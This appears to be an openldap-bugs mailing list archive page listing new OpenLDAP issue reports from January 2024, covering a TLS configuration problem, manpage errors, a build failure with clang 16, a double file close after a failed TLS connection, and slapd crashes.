4096 I was using, but no difference. openssl dhparam -out ./dhparam.pem 2048 dn: cn=config objectClass: olcGlobal cn: config olcArgsFile: /var/run/scs-slapd/slapd.args olcDisallows: bind_anon olcLogLevel: stats sync olcPasswordCryptSaltFormat: $6$%.16s olcPasswordHash: {CRYPT} olcPidFile: /var/run/scs-slapd/slapd.pid olcRequires: authc olcTLSCACertificateFile: "/etc/scs/openldap/certs/ca_chain.pem" olcTLSCertificateFile: /etc/scs/openldap/certs/cert.pem olcTLSCertificateKeyFile: /etc/scs/openldap/certs/key.pem olcTLSCipherSuite: ECDHE-RSA-AES256-SHA384:AES256-SHA256:!RC4:HIGH:!MD5:!aNULL :!EDH:!EXP:!SSLV2:!eNULL olcTLSCRLCheck: none olcTLSVerifyClient: allow olcTLSDHParamFile: /etc/ssl/dhparam.pem olcTLSProtocolMin: 3.3 olcToolThreads: 2 Both openssl-devel and gnutls-devel were available on the build system, but as far as I can see openssl would be preferred when available and was indeed used. (I tried both --with-tls=auto and --with-tls=openssl ) Make test would finish without issues My configure options: ./configure --prefix=$SCS_TARGET --sysconfdir=$SCS_TARGET_ETC \ --enable-debug \ --enable-slapd \ --with-systemd \ --enable-modules \ --with-tls=auto \ --with-cyrus-sasl \ --with-argon2 \ --enable-crypt \ --enable-spasswd \ --enable-rlookups \ --enable-overlays=mod \ --enable-syncprov=yes \ --enable-accesslog=mod \ --enable-backends=mod \ --enable-mdb=yes \ --enable-ndb=no \ --enable-sql=no \ --enable-wt=no \ --disable-shell The results in the configure log: TLS_LIBS='-lssl -lcrypto' WITH_TLS='yes' WITH_TLS_TYPE='openssl' -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 10057] New: slapo-homedir(5) incorrectly refers to olcArchivePath instead of olcHomedirArchivePath
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10057 Issue ID: 10057 Summary: slapo-homedir(5) incorrectly refers to olcArchivePath instead of olcHomedirArchivePath Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: craig.balfour(a)gmail.com Target Milestone: --- The homedir overlay manual page, slapo-homedir(5), refers to attribute olcArchivePath when the attribute is actually named olcHomedirArchivePath. -- You are receiving this mail because: You are on the CC list for the issue.

1 8

[Issue 10068] New: back-null dies on shutdown when dosearch specified
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10068 Issue ID: 10068 Summary: back-null dies on shutdown when dosearch specified Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- It copies the suffix DN pointer into its entry rather than doing a ber_dupbv. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

[Issue 10094] New: When TLSv1.3 only are set TLS connection does not work
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10094 Issue ID: 10094 Summary: When TLSv1.3 only are set TLS connection does not work Product: OpenLDAP Version: 2.5.12 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: nikigen68(a)gmail.com Target Milestone: --- The configuration with only TLSv1.3 ciphers does not work /etc/openldap/ldap.conf ... TLS_CIPHER_SUITE TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:TLS_AES_128_CCM_8_SHA256:TLS_AES_128_CCM_SHA256 TLS_PROTOCOL_MIN 3.4 Configuration works only if at least one TLSv1.2 cipher suite is added. Then TLSv1.3 cipher is negotiated with the server. Is there a known issue? -- You are receiving this mail because: You are on the CC list for the issue.

1 14

[Issue 10059] New: slapo-homedir(5) could benefit from an configuration example
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10059 Issue ID: 10059 Summary: slapo-homedir(5) could benefit from an configuration example Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: craig.balfour(a)gmail.com Target Milestone: --- Created attachment 967 --> https://bugs.openldap.org/attachment.cgi?id=967&action=edit Patch This module could do with an example of how to configure it. Patch attached. -- You are receiving this mail because: You are on the CC list for the issue.

1 7

[Issue 10101] New: Fix double file close when first TLS connection fails
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10101 Issue ID: 10101 Summary: Fix double file close when first TLS connection fails Product: OpenLDAP Version: 2.6.2 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: florin.crisan(a)axigen.com Target Milestone: --- Created attachment 981 --> https://bugs.openldap.org/attachment.cgi?id=981&action=edit Proof of concept 1. ldap_initialize a connection with multiple URLs, the first one being LDAPS. (For example: "ldaps://server,ldap://server"). The LDAPS connection needs to successfully open the TCP connection, but fail during TLS negotiation. 2. When TLS negotiation fails, ldap_int_open_connection calls ber_int_sb_close (which closes the connections attached to the sockbuf) but fails to call ber_int_sb_destroy, so the TCP layers are still attached to the sockbuf structure. 3. When the second connection is opened, a new TCP layer is added to the sockbuf structure, but the existing one is still there. Both now point to the updated sockbuf structure, with the new file descriptor. 4. When the connection is closed, the layers attached to the sockbuf close the new file descriptor twice. This may be the same problem as https://lists.openldap.org/hyperkitty/list/openldap-devel@openldap.org/thre… -- You are receiving this mail because: You are on the CC list for the issue.

1 10

[Issue 10153] New: slapd(8) manpage does not describe -T modify (slapmodify)
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10153 Issue ID: 10153 Summary: slapd(8) manpage does not describe -T modify (slapmodify) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: fumiyas(a)osstech.co.jp Target Milestone: --- Created attachment 998 --> https://bugs.openldap.org/attachment.cgi?id=998&action=edit [PATCH] slapd(8) describe -T modify (slapmodify) OpenLDAP 2.5+ slapd(8) add `-T modify` option, but its manpage does not describe it. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10123] New: Allow compilation with new compilers
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10123 Issue ID: 10123 Summary: Allow compilation with new compilers Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- With clang 16 at least, slapd fails to compile servers/slapd/controls.c (missing an include of ac/ctype.h) and emits a large amount of warnings stemming from include/ac/* redefining existing functions in a K&R way (which apparently is not compatible with C2x). A fix is coming. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10109] New: [slapd] Segmentation fault
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10109 Issue ID: 10109 Summary: [slapd] Segmentation fault Product: OpenLDAP Version: 2.6.6 Hardware: x86_64 OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: sfhacker(a)hotmail.com Target Milestone: --- Created attachment 984 --> https://bugs.openldap.org/attachment.cgi?id=984&action=edit Backtrace Hi. OpenLDAP 2.6.6 built from source on Windows 10 x64. When starting the server using a basic slapd.conf file, I get a segmentation fault (see screenshot attached). Thanks in advance. -- You are receiving this mail because: You are on the CC list for the issue.

1 7

[Issue 10110] New: Chained searches skip callbacks for returned entries
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10110 Issue ID: 10110 Summary: Chained searches skip callbacks for returned entries Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Regardless of overlay ordering, slapo-chain's handling of entries returned will skip any callbacks that have been registered on the operation. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs